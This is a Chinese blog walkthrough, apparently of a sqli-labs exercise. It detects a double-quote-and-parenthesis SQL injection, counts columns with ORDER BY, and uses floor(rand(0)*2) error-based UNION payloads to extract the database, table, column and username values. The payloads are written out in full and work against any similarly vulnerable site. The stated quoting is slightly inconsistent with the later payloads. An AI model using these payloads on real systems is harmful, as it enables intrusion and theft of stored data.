1.先判断注入类型
（1）首先看到要求，要求传一个ID参数，并且要求是数字型的；?id=1
（2）再输入?id=1'
（3）再输入?id=1 and 1=1
（4）再输入?id=1 and 1=2
（3）（4）界面一样，所以不是数字型
（5）再输入?id=1"
发现报错，我们加上--+，把后面注释掉
（6）输入： ?id=1" --+
接受的参数为id="1"
2..对列数进行判断
（1）输入?id=1") order by 3 --+
（2）输入?id=1") order by 4 --+
（3）为3列
3.因为页面正常的时候，均无输出部分，判断应该没有显示位，此时可尝试报错注入。
4.我们用floor进行注入
（1）注当前的数据库名：?id=-1" union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+
（2）爆注册表：?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
（3）注某张表的字段，这里以users为例：?id=-1" union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
（4）注字段的值，这里以users表里的username为例：?id=-1" union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
来源：CSDN
作者：虫小宝
链接：https://blog.csdn.net/weixin_44627014/article/details/103654369